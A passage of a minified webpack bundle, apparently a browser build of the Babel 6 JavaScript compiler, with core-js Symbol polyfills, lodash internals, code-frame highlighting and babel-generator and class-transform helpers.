strict";var n=r(152),i=Math.min;e.exports=function(e){return e>0?i(n(e),9007199254740991):0}},function(e,t,r){"use strict";var n=r(16);e.exports=function(e,t){if(!n(e))return e;var r,i;if(t&&"function"==typeof(r=e.toString)&&!n(i=r.call(e)))return i;if("function"==typeof(r=e.valueOf)&&!n(i=r.call(e)))return i;if(!t&&"function"==typeof(r=e.toString)&&!n(i=r.call(e)))return i;throw TypeError("Can't convert object to primitive value")}},function(e,t,r){"use strict";var n=r(15),i=r(5),s=r(144),a=r(156),o=r(23).f;e.exports=function(e){var t=i.Symbol||(i.Symbol=s?{}:n.Symbol||{});"_"==e.charAt(0)||e in t||o(t,e,{value:a.f(e)})}},function(e,t,r){"use strict";t.f=r(13)},function(e,t,r){"use strict";var n=r(437)(!0);r(143)(String,"String",function(e){this._t=String(e),this._i=0},function(){var e,t=this._t,r=this._i;return r>=t.length?{value:void 0,done:!0}:(e=n(t,r),this._i+=e.length,{value:e,done:!1})})},function(e,t,r){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=r(15),s=r(28),a=r(22),o=r(12),u=r(147),l=r(57).KEY,c=r(27),f=r(151),p=r(93),d=r(95),h=r(13),m=r(156),y=r(155),v=r(430),g=r(425),b=r(232),E=r(21),x=r(37),A=r(154),S=r(92),_=r(90),D=r(432),C=r(235),w=r(23),P=r(44),k=C.f,F=w.f,T=D.f,O=i.Symbol,B=i.JSON,R=B&&B.stringify,I=h("_hidden"),M=h("toPrimitive"),N={}.propertyIsEnumerable,L=f("symbol-registry"),j=f("symbols"),U=f("op-symbols"),V=Object.prototype,G="function"==typeof O,W=i.QObject,Y=!W||!W.prototype||!W.prototype.findChild,q=a&&c(function(){return 7!=_(F({},"a",{get:function(){return F(this,"a",{value:7}).a}})).a})?function(e,t,r){var n=k(V,t);n&&delete V[t],F(e,t,r),n&&e!==V&&F(V,t,n)}:F,K=function(e){var t=j[e]=_(O.prototype);return t._k=e,t},H=G&&"symbol"==n(O.iterator)?function(e){return"symbol"==(void 0===e?"undefined":n(e))}:function(e){return e instanceof O},J=function(e,t,r){return e===V&&J(U,t,r),E(e),t=A(t,!0),E(r),s(j,t)?(r.enumerable?(s(e,I)&&e[I][t]&&(e[I][t]=!1),r=_(r,{enumerable:S(0,!1)})):(s(e,I)||F(e,I,S(1,{})),e[I][t]=!0),q(e,t,r)):F(e,t,r)},X=function(e,t){E(e);for(var r,n=g(t=x(t)),i=0,s=n.length;s>i;)J(e,r=n[i++],t[r]);return e},z=function(e,t){return void 0===t?_(e):X(_(e),t)},$=function(e){var t=N.call(this,e=A(e,!0));return!(this===V&&s(j,e)&&!s(U,e))&&(!(t||!s(this,e)||!s(j,e)||s(this,I)&&this[I][e])||t)},Q=function(e,t){if(e=x(e),t=A(t,!0),e!==V||!s(j,t)||s(U,t)){var r=k(e,t);return!r||!s(j,t)||s(e,I)&&e[I][t]||(r.enumerable=!0),r}},Z=function(e){for(var t,r=T(x(e)),n=[],i=0;r.length>i;)s(j,t=r[i++])||t==I||t==l||n.push(t);return n},ee=function(e){for(var t,r=e===V,n=T(r?U:x(e)),i=[],a=0;n.length>a;)!s(j,t=n[a++])||r&&!s(V,t)||i.push(j[t]);return i};G||(O=function(){if(this instanceof O)throw TypeError("Symbol is not a constructor!");var e=d(arguments.length>0?arguments[0]:void 0),t=function t(r){this===V&&t.call(U,r),s(this,I)&&s(this[I],e)&&(this[I][e]=!1),q(this,e,S(1,r))};return a&&Y&&q(V,e,{configurable:!0,set:t}),K(e)},u(O.prototype,"toString",function(){return this._k}),C.f=Q,w.f=J,r(236).f=D.f=Z,r(91).f=$,r(145).f=ee,a&&!r(144)&&u(V,"propertyIsEnumerable",$,!0),m.f=function(e){return K(h(e))}),o(o.G+o.W+o.F*!G,{Symbol:O});for(var te="hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","),re=0;te.length>re;)h(te[re++]);for(var ne=P(h.store),ie=0;ne.length>ie;)y(ne[ie++]);o(o.S+o.F*!G,"Symbol",{for:function(e){return s(L,e+="")?L[e]:L[e]=O(e)},keyFor:function(e){if(H(e))return v(L,e);throw TypeError(e+" is not a symbol!")},useSetter:function(){Y=!0},useSimple:function(){Y=!1}}),o(o.S+o.F*!G,"Object",{create:z,defineProperty:J,defineProperties:X,getOwnPropertyDescriptor:Q,getOwnPropertyNames:Z,getOwnPropertySymbols:ee}),B&&o(o.S+o.F*(!G||c(function(){var e=O();return"[null]"!=R([e])||"{}"!=R({a:e})||"{}"!=R(Object(e))})),"JSON",{stringify:function(e){if(void 0!==e&&!H(e)){for(var t,r,n=[e],i=1;arguments.length>i;)n.push(arguments[i++]);return t=n[1],"function"==typeof t&&(r=t),!r&&b(t)||(t=function(e,t){if(r&&(t=r.call(this,e,t)),!H(t))return t}),n[1]=t,R.apply(B,n)}}}),O.prototype[M]||r(29)(O.prototype,M,O.prototype.valueOf),p(O,"Symbol"),p(Math,"Math",!0),p(i.JSON,"JSON",!0)},function(e,t,r){"use strict";var n=r(38),i=r(17),s=n(i,"Map");e.exports=s},function(e,t,r){"use strict";function n(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}var i=r(551),s=r(552),a=r(553),o=r(554),u=r(555);n.prototype.clear=i,n.prototype.delete=s,n.prototype.get=a,n.prototype.has=o,n.prototype.set=u,e.exports=n},function(e,t){"use strict";function r(e,t){for(var r=-1,n=t.length,i=e.length;++r<n;)e[i+r]=t[r];return e}e.exports=r},function(e,t,r){"use strict";function n(e,t,r){var n=e[t];o.call(e,t)&&s(n,r)&&(void 0!==r||t in e)||i(e,t,r)}var i=r(163),s=r(46),a=Object.prototype,o=a.hasOwnProperty;e.exports=n},function(e,t,r){"use strict";function n(e,t,r){"__proto__"==t&&i?i(e,t,{configurable:!0,enumerable:!0,value:r,writable:!0}):e[t]=r}var i=r(259);e.exports=n},function(e,t,r){"use strict";function n(e,t,r,T,O,B){var R,I=t&S,M=t&_,N=t&D;if(r&&(R=O?r(e,T,O,B):r(e)),void 0!==R)return R;if(!x(e))return e;var L=b(e);if(L){if(R=y(e),!I)return c(e,R)}else{var j=m(e),U=j==w||j==P;if(E(e))return l(e,I);if(j==k||j==C||U&&!O){if(R=M||U?{}:g(e),!I)return M?p(e,u(R,e)):f(e,o(R,e))}else{if(!F[j])return O?e:{};R=v(e,j,n,I)}}B||(B=new i);var V=B.get(e);if(V)return V;B.set(e,R);var G=N?M?h:d:M?keysIn:A,W=L?void 0:G(e);return s(W||e,function(i,s){W&&(s=i,i=e[s]),a(R,s,n(i,t,r,s,e,B))}),R}var i=r(99),s=r(478),a=r(162),o=r(483),u=r(484),l=r(256),c=r(168),f=r(523),p=r(524),d=r(262),h=r(532),m=r(264),y=r(541),v=r(542),g=r(266),b=r(6),E=r(113),x=r(18),A=r(32),S=1,_=2,D=4,C="[object Arguments]",w="[object Function]",P="[object GeneratorFunction]",k="[object Object]",F={};F[C]=F["[object Array]"]=F["[object ArrayBuffer]"]=F["[object DataView]"]=F["[object Boolean]"]=F["[object Date]"]=F["[object Float32Array]"]=F["[object Float64Array]"]=F["[object Int8Array]"]=F["[object Int16Array]"]=F["[object Int32Array]"]=F["[object Map]"]=F["[object Number]"]=F[k]=F["[object RegExp]"]=F["[object Set]"]=F["[object String]"]=F["[object Symbol]"]=F["[object Uint8Array]"]=F["[object Uint8ClampedArray]"]=F["[object Uint16Array]"]=F["[object Uint32Array]"]=!0,F["[object Error]"]=F[w]=F["[object WeakMap]"]=!1,e.exports=n},function(e,t){"use strict";function r(e,t,r,n){for(var i=e.length,s=r+(n?1:-1);n?s--:++s<i;)if(t(e[s],s,e))return s;return-1}e.exports=r},function(e,t,r){"use strict";function n(e,t,r){return t===t?a(e,t,r):i(e,s,r)}var i=r(165),s=r(496),a=r(570);e.exports=n},function(e,t,r){"use strict";function n(e){var t=new e.constructor(e.byteLength);return new i(t).set(new i(e)),t}var i=r(243);e.exports=n},function(e,t){"use strict";function r(e,t){var r=-1,n=e.length;for(t||(t=Array(n));++r<n;)t[r]=e[r];return t}e.exports=r},function(e,t,r){"use strict";var n=r(271),i=n(Object.getPrototypeOf,Object);e.exports=i},function(e,t,r){"use strict";var n=r(479),i=r(279),s=Object.prototype,a=s.propertyIsEnumerable,o=Object.getOwnPropertySymbols,u=o?function(e){return null==e?[]:(e=Object(e),n(o(e),function(t){return a.call(e,t)}))}:i;e.exports=u},function(e,t){"use strict";function r(e,t){return!!(t=null==t?n:t)&&("number"==typeof e||i.test(e))&&e>-1&&e%1==0&&e<t}var n=9007199254740991,i=/^(?:0|[1-9]\d*)$/;e.exports=r},function(e,t,r){"use strict";function n(e,t,r){if(!u(r))return!1;var n=void 0===t?"undefined":i(t);return!!("number"==n?a(r)&&o(t,r.length):"string"==n&&t in r)&&s(r[t],e)}var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=r(46),a=r(24),o=r(171),u=r(18);e.exports=n},function(e,t,r){"use strict";function n(e,t){if(s(e))return!1;var r=void 0===e?"undefined":i(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!a(e))||(u.test(e)||!o.test(e)||null!=t&&e in Object(t))}var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=r(6),a=r(62),o=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,u=/^\w*$/;e.exports=n},function(e,t,r){"use strict";var n=r(162),i=r(31),s=r(103),a=r(24),o=r(105),u=r(32),l=Object.prototype,c=l.hasOwnProperty,f=s(function(e,t){if(o(t)||a(t))return void i(t,u(t),e);for(var r in t)c.call(t,r)&&n(e,r,t[r])});e.exports=f},function(e,t,r){"use strict";function n(e){if(!s(e))return!1;var t=i(e);return t==o||t==u||t==a||t==l}var i=r(30),s=r(18),a="[object AsyncFunction]",o="[object Function]",u="[object GeneratorFunction]",l="[object Proxy]";e.exports=n},function(e,t){"use strict";function r(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=n}var n=9007199254740991;e.exports=r},function(e,t,r){"use strict";var n=r(499),i=r(102),s=r(270),a=s&&s.isTypedArray,o=a?i(a):n;e.exports=o},function(e,t,r){function n(e){return r(i(e))}function i(e){return s[e]||function(){throw new Error("Cannot find module '"+e+"'.")}()}var s={"./index":50,"./index.js":50,"./logger":120,"./logger.js":120,"./metadata":121,"./metadata.js":121,"./options/build-config-chain":51,"./options/build-config-chain.js":51,"./options/config":33,"./options/config.js":33,"./options/index":52,"./options/index.js":52,"./options/option-manager":34,"./options/option-manager.js":34,"./options/parsers":53,"./options/parsers.js":53,"./options/removed":54,"./options/removed.js":54};n.keys=function(){return Object.keys(s)},n.resolve=i,e.exports=n,n.id=178},function(e,t,r){function n(e){return r(i(e))}function i(e){return s[e]||function(){throw new Error("Cannot find module '"+e+"'.")}()}var s={"./build-config-chain":51,"./build-config-chain.js":51,"./config":33,"./config.js":33,"./index":52,"./index.js":52,"./option-manager":34,"./option-manager.js":34,"./parsers":53,"./parsers.js":53,"./removed":54,"./removed.js":54};n.keys=function(){return Object.keys(s)},n.resolve=i,e.exports=n,n.id=179},function(e,t){"use strict";e.exports=function(){return/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-PRZcf-nqry=><]/g}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){return{keyword:e.cyan,capitalized:e.yellow,jsx_tag:e.yellow,punctuator:e.yellow,number:e.magenta,string:e.green,regex:e.magenta,comment:e.grey,invalid:e.white.bgRed.bold,gutter:e.grey,marker:e.red.bold}}function s(e){var t=e.slice(-2),r=t[0],n=t[1],i=(0,o.matchToToken)(e);if("name"===i.type){if(c.default.keyword.isReservedWordES6(i.value))return"keyword";if(h.test(i.value)&&("<"===n[r-1]||"</"==n.substr(r-2,2)))return"jsx_tag";if(i.value[0]!==i.value[0].toLowerCase())return"capitalized"}return"punctuator"===i.type&&m.test(i.value)?"bracket":i.type}function a(e,t){return t.replace(u.default,function(){for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];var i=s(r),a=e[i];return a?r[0].split(d).map(function(e){return a(e)}).join("\n"):r[0]})}t.__esModule=!0,t.default=function(e,t,r){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};r=Math.max(r,0);var s=n.highlightCode&&p.default.supportsColor||n.forceColor,o=p.default;n.forceColor&&(o=new p.default.constructor({enabled:!0}));var u=function(e,t){return s?e(t):t},l=i(o);s&&(e=a(l,e));var c=n.linesAbove||2,f=n.linesBelow||3,h=e.split(d),m=Math.max(t-(c+1),0),y=Math.min(h.length,t+f);t||r||(m=0,y=h.length);var v=String(y).length,g=h.slice(m,y).map(function(e,n){var i=m+1+n,s=(" "+i).slice(-v),a=" "+s+" | ";if(i===t){var o="";if(r){var c=e.slice(0,r-1).replace(/[^\t]/g," ");o=["\n ",u(l.gutter,a.replace(/\d/g," ")),c,u(l.marker,"^")].join("")}return[u(l.marker,">"),u(l.gutter,a),e,o].join("")}return" "+u(l.gutter,a)+e}).join("\n");return s?o.reset(g):g};var o=r(468),u=n(o),l=r(97),c=n(l),f=r(401),p=n(f),d=/\r\n|[\n\r\u2028\u2029]/,h=/^[a-z][\w-]*$/i,m=/^[()\[\]{}]$/;e.exports=t.default},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e){throw new Error("The ("+e+") Babel 5 plugin is being run with Babel 6.")}function a(e,t,r){"function"==typeof t&&(r=t,t={}),t.filename=e,y.default.readFile(e,function(e,n){var i=void 0;if(!e)try{i=F(n,t)}catch(t){e=t}e?r(e):r(null,i)})}function o(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return t.filename=e,F(y.default.readFileSync(e,"utf8"),t)}t.__esModule=!0,t.transformFromAst=t.transform=t.analyse=t.Pipeline=t.OptionManager=t.traverse=t.types=t.messages=t.util=t.version=t.resolvePreset=t.resolvePlugin=t.template=t.buildExternalHelpers=t.options=t.File=void 0;var u=r(50);Object.defineProperty(t,"File",{enumerable:!0,get:function(){return i(u).default}});var l=r(33);Object.defineProperty(t,"options",{enumerable:!0,get:function(){return i(l).default}});var c=r(295);Object.defineProperty(t,"buildExternalHelpers",{enumerable:!0,get:function(){return i(c).default}});var f=r(4);Object.defineProperty(t,"template",{enumerable:!0,get:function(){return i(f).default}});var p=r(184);Object.defineProperty(t,"resolvePlugin",{enumerable:!0,get:function(){return i(p).default}});var d=r(185);Object.defineProperty(t,"resolvePreset",{enumerable:!0,get:function(){return i(d).default}});var h=r(628);Object.defineProperty(t,"version",{enumerable:!0,get:function(){return h.version}}),t.Plugin=s,t.transformFile=a,t.transformFileSync=o;var m=r(115),y=i(m),v=r(122),g=n(v),b=r(20),E=n(b),x=r(1),A=n(x),S=r(7),_=i(S),D=r(34),C=i(D),w=r(298),P=i(w);t.util=g,t.messages=E,t.types=A,t.traverse=_.default,t.OptionManager=C.default,t.Pipeline=P.default;var k=new P.default,F=(t.analyse=k.analyse.bind(k),t.transform=k.transform.bind(k));t.transformFromAst=k.transformFromAst.bind(k)},function(e,t,r){"use strict";function n(e,t){return e.reduce(function(e,r){return e||(0,s.default)(r,t)},null)}t.__esModule=!0,t.default=n;var i=r(118),s=function(e){return e&&e.__esModule?e:{default:e}}(i);e.exports=t.default},function(e,t,r){(function(n){"use strict";function i(e){return e&&e.__esModule?e:{default:e}}function s(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:n.cwd();return(0,o.default)((0,l.default)(e),t)}t.__esModule=!0,t.default=s;var a=r(183),o=i(a),u=r(291),l=i(u);e.exports=t.default}).call(t,r(8))},function(e,t,r){(function(n){"use strict";function i(e){return e&&e.__esModule?e:{default:e}}function s(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:n.cwd();return(0,o.default)((0,l.default)(e),t)}t.__esModule=!0,t.default=s;var a=r(183),o=i(a),u=r(292),l=i(u);e.exports=t.default}).call(t,r(8))},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t,r){var n="  ";if(e&&"string"==typeof e){var i=(0,d.default)(e).indent;i&&" "!==i&&(n=i)}var a={auxiliaryCommentBefore:t.auxiliaryCommentBefore,auxiliaryCommentAfter:t.auxiliaryCommentAfter,shouldPrintComment:t.shouldPrintComment,retainLines:t.retainLines,retainFunctionParens:t.retainFunctionParens,comments:null==t.comments||t.comments,compact:t.compact,minified:t.minified,concise:t.concise,quotes:t.quotes||s(e,r),jsonCompatibleStrings:t.jsonCompatibleStrings,indent:{adjustMultilineComment:!0,style:n,base:0},flowCommaSeparator:t.flowCommaSeparator};return a.minified?(a.compact=!0,a.shouldPrintComment=a.shouldPrintComment||function(){return a.comments}):a.shouldPrintComment=a.shouldPrintComment||function(e){return a.comments||e.indexOf("@license")>=0||e.indexOf("@preserve")>=0},"auto"===a.compact&&(a.compact=e.length>5e5,a.compact&&console.error("[BABEL] "+v.get("codeGeneratorDeopt",t.filename,"500KB"))),a.compact&&(a.indent.adjustMultilineComment=!1),a}function s(e,t){if(!e)return"double";for(var r={single:0,double:0},n=0,i=0;i<t.length;i++){var s=t[i];if("string"===s.type.label){if("'"===e.slice(s.start,s.end)[0]?r.single++:r.double++,++n>=3)break}}return r.single>r.double?"single":"double"}t.__esModule=!0,t.CodeGenerator=void 0;var a=r(3),o=n(a),u=r(42),l=n(u),c=r(41),f=n(c);t.default=function(e,t,r){return new E(e,t,r).generate()};var p=r(459),d=n(p),h=r(313),m=n(h),y=r(20),v=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(y),g=r(312),b=n(g),E=function(e){function t(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},s=arguments[2];(0,o.default)(this,t);var a=r.tokens||[],u=i(s,n,a),c=n.sourceMaps?new m.default(n,s):null,f=(0,l.default)(this,e.call(this,u,c,a));return f.ast=r,f}return(0,f.default)(t,e),t.prototype.generate=function(){return e.prototype.generate.call(this,this.ast)},t}(b.default);t.CodeGenerator=function(){function e(t,r,n){(0,o.default)(this,e),this._generator=new E(t,r,n)}return e.prototype.generate=function(){return this._generator.generate()},e}()},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e){function t(e,t){var n=r[e];r[e]=n?function(e,r,i){var s=n(e,r,i);return null==s?t(e,r,i):s}:t}for(var r={},n=(0,m.default)(e),i=Array.isArray(n),s=0,n=i?n:(0,d.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a,u=x.FLIPPED_ALIAS_KEYS[o];if(u)for(var l=u,c=Array.isArray(l),f=0,l=c?l:(0,d.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var h=p;t(h,e[o])}else t(o,e[o])}return r}function a(e,t,r,n){var i=e[t.type];return i?i(t,r,n):null}function o(e){return!!x.isCallExpression(e)||!!x.isMemberExpression(e)&&(o(e.object)||!e.computed&&o(e.property))}function u(e,t,r){if(!e)return 0;x.isExpressionStatement(e)&&(e=e.expression);var n=a(S,e,t);if(!n){var i=a(_,e,t);if(i)for(var s=0;s<i.length&&!(n=u(i[s],e,r));s++);}return n&&n[r]||0}function l(e,t){return u(e,t,"before")}function c(e,t){return u(e,t,"after")}function f(e,t,r){return!!t&&(!(!x.isNewExpression(t)||t.callee!==e||!o(e))||a(A,e,t,r))}t.__esModule=!0;var p=r(2),d=i(p),h=r(14),m=i(h);t.needsWhitespace=u,t.needsWhitespaceBefore=l,t.needsWhitespaceAfter=c,t.needsParens=f;var y=r(311),v=i(y),g=r(310),b=n(g),E=r(1),x=n(E),A=s(b),S=s(v.default.nodes),_=s(v.default.list)},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){return!v.isClassMethod(e)&&!v.isObjectMethod(e)||"get"!==e.kind&&"set"!==e.kind?"value":e.kind}function s(e,t,r,n,s){var a=v.toKeyAlias(t),o={};if((0,m.default)(e,a)&&(o=e[a]),e[a]=o,o._inherits=o._inherits||[],o._inherits.push(t),o._key=t.key,t.computed&&(o._computed=!0),t.decorators){var u=o.decorators=o.decorators||v.arrayExpression([]);u.elements=u.elements.concat(t.decorators.map(function(e){return e.expression}).reverse())}if(o.value||o.initializer)throw n.buildCodeFrameError(t,"Key conflict with sibling node");var l=void 0,c=void 0;(v.isObjectProperty(t)||v.isObjectMethod(t)||v.isClassMethod(t))&&(l=v.toComputedKey(t,t.key)),v.isObjectProperty(t)||v.isClassProperty(t)?c=t.value:(v.isObjectMethod(t)||v.isClassMethod(t))&&(c=v.functionExpression(null,t.params,t.body,t.generator,t.async),c.returnType=t.returnType);var f=i(t);return r&&"value"===f||(r=f),s&&v.isStringLiteral(l)&&("value"===r||"initializer"===r)&&v.isFunctionExpression(c)&&(c=(0,d.default)({id:l,node:c,scope:s})),c&&(v.inheritsComments(c,t),o[r]=c),o}function a(e){for(var t in e)if(e[t]._computed)return!0;return!1}function o(e){for(var t=v.arrayExpression([]),r=0;r<e.properties.length;r++){var n=e.properties[r],i=n.value;i.properties.unshift(v.objectProperty(v.identifier("key"),v.toComputedKey(n))),t.elements.push(i)}return t}function u(e){var t=v.objectExpression([]);return(0,f.default)(e).forEach(function(r){var n=e[r],i=v.objectExpression([]),s=v.objectProperty(n._key,i,n._computed);(0,f.default)(n).forEach(function(e){var t=n[e];if("_"!==e[0]){var r=t;(v.isClassMethod(t)||v.isClassProperty(t))&&(t=t.value);var s=v.objectProperty(v.identifier(e),t);v.inheritsComments(s,r),v.removeComments(r),i.properties.push(s)}}),t.properties.push(s)}),t}function l(e){return(0,f.default)(e).forEach(function(t){var r=e[t];r.value&&(r.writable=v.booleanLiteral(!0)),r.configurable=v.booleanLiteral(!0),r.enumerable=v.booleanLiteral(!0)}),u(e)}t.__esModule=!0;var c=r(14),f=n(c);t.push=s,t.hasComputed=a,t.toComputedObjectFromClass=o,t.toClassObject=u,t.toDefineObject=l;var p=r(40),d=n(p),h=r(274),m=n(h),y=r(1),v=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(y)},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){for(var t=e.params,r=0;r<t.length;r++){var n=t[r];if(i.isAssignmentPattern(n)||i.isRestElement(n))return r}return t.length};var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"var";e.traverse(o,{kind:r,emit:t})};var s=r(1),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s),o={Scope:function(e,t){"let"===t.kind&&e.skip()},Function:function(e){e.skip()},VariableDeclaration:function(e,t){if(!t.kind||e.node.kind===t.kind){for(var r=[],n=e.get("declarations"),s=void 0,o=n,u=Array.isArray(o),l=0,o=u?o:(0,i.default)(o);;){var c;if(u){if(l>=o.length)break;c=o[l++]}else{if(l=o.next(),l.done)break;c=l.value}var f=c;s=f.node.id,f.node.init&&r.push(a.expressionStatement(a.assignmentExpression("=",f.node.id,f.node.init)));for(var p in f.getBindingIdentifiers())t.emit(a.identifier(p),p)}e.parentPath.isFor({left:e.node})?e.replaceWith(s):e.replaceWithMultiple(r)}}};e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e,t,r){return 1===r.length&&i.isSpreadElement(r[0])&&i.isIdentifier(r[0].argument,{name:"arguments"})?i.callExpression(i.memberExpression(e,i.identifier("apply")),[t,r[0].argument]):i.callExpression(i.memberExpression(e,i.identifier("call")),[t].concat(r))};var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n);e.exports=t.default},function(e,t,r){"use strict";function n(e,t){return u.isRegExpLiteral(e)&&e.flags.indexOf(t)>=0}function i(e,t){var r=e.flags.split("");e.flags.indexOf(t)<0||((0,a.default)(r,t),e.flags=r.join(""))}t.__esModule=!0,t.is=n,t.pullFlag=i;var s=r(277),a=function(e){return e&&e.__esModule?e:{default:e}}(s),o=r(1),u=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(o)},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e,t){return!!v.isSuper(e)&&(!v.isMemberExpression(t,{computed:!1})&&!v.isCallExpression(t,{callee:e}))}function a(e){return v.isMemberExpression(e)&&v.isSuper(e.object)}function o(e,t){var r=t?e:v.memberExpression(e,v.identifier("prototype"));return v.logicalExpression("||",v.memberExpression(r,v.identifier("__proto__")),v.callExpression(v.memberExpression(v.identifier("Object"),v.identifier("getPrototypeOf")),[r]))}t.__esModule=!0;var u=r(3),l=i(u),c=r(10),f=i(c),p=r(191),d=i(p),h=r(20),m=n(h),y=r(1),v=n(y),g=(0,f.default)(),b={Function:function(e){e.inShadow("this")||e.skip()},ReturnStatement:function(e,t){e.inShadow("this")||t.returns.push(e)},ThisExpression:function(e,t){e.node[g]||t.thises.push(e)},enter:function(e,t){var r=t.specHandle;t.isLoose&&(r=t.looseHandle);var n=e.isCallExpression()&&e.get("callee").isSuper(),i=r.call(t,e);i&&(t.hasSuper=!0),n&&t.bareSupers.push(e),!0===i&&e.requeue(),!0!==i&&i&&(Array.isArray(i)?e.replaceWithMultiple(i):e.replaceWith(i))}},E=function(){function e(t){var r=arguments.length>1&&void 0!==arguments[1]&&arguments[1];(0,l.default)(this,e),this.forceSuperMemoisation=t.forceSuperMemoisation,this.methodPath=t.methodPath,
this.methodNode=t.methodNode,this.superRef=t.superRef,this.isStatic=t.isStatic,this.hasSuper=!1,this.inClass=r,this.isLoose=t.isLoose,this.scope=this.methodPath.scope,this.file=t.file,this.opts=t,this.bareSupers=[],this.returns=[],this.thises=[]}return e.prototype.getObjectRef=function(){return this.opts.objectRef||this.opts.getObjectRef()},e.prototype.setSuperProperty=function(e,t,r){return v.callExpression(this.file.addHelper("set"),[o(this.getObjectRef(),this.isStatic),r?e:v.stringLiteral(e.name),t,v.thisExpression()])},e.prototype.getSuperProperty=function(e,t){return v.callExpression(this.file.addHelper("get"),[o(this.getObjectRef(),this.isStatic),t?e:v.stringLiteral(e.name),v.thisExpression()])},e.prototype.replace=function(){this.methodPath.traverse(b,this)},e.prototype.getLooseSuperProperty=function(e,t){var r=this.methodNode,n=this.superRef||v.identifier("Function");return t.property===e?void 0:v.isCallExpression(t,{callee:e})?void 0:v.isMemberExpression(t)&&!r.static?v.memberExpression(n,v.identifier("prototype")):n},e.prototype.looseHandle=function(e){var t=e.node;if(e.isSuper())return this.getLooseSuperProperty(t,e.parent);if(e.isCallExpression()){var r=t.callee;if(!v.isMemberExpression(r))return;if(!v.isSuper(r.object))return;return v.appendToMemberExpression(r,v.identifier("call")),t.arguments.unshift(v.thisExpression()),!0}},e.prototype.specHandleAssignmentExpression=function(e,t,r){return"="===r.operator?this.setSuperProperty(r.left.property,r.right,r.left.computed):(e=e||t.scope.generateUidIdentifier("ref"),[v.variableDeclaration("var",[v.variableDeclarator(e,r.left)]),v.expressionStatement(v.assignmentExpression("=",r.left,v.binaryExpression(r.operator[0],e,r.right)))])},e.prototype.specHandle=function(e){var t=void 0,r=void 0,n=void 0,i=e.parent,o=e.node;if(s(o,i))throw e.buildCodeFrameError(m.get("classesIllegalBareSuper"));if(v.isCallExpression(o)){var u=o.callee;if(v.isSuper(u))return;a(u)&&(t=u.property,r=u.computed,n=o.arguments)}else if(v.isMemberExpression(o)&&v.isSuper(o.object))t=o.property,r=o.computed;else{if(v.isUpdateExpression(o)&&a(o.argument)){var l=v.binaryExpression(o.operator[0],o.argument,v.numericLiteral(1));if(o.prefix)return this.specHandleAssignmentExpression(null,e,l);var c=e.scope.generateUidIdentifier("ref");return this.specHandleAssignmentExpression(c,e,l).concat(v.expressionStatement(c))}if(v.isAssignmentExpression(o)&&a(o.left))return this.specHandleAssignmentExpression(null,e,o)}if(t){var f=this.getSuperProperty(t,r);return n?this.optimiseCall(f,n):f}},e.prototype.optimiseCall=function(e,t){var r=v.thisExpression();return 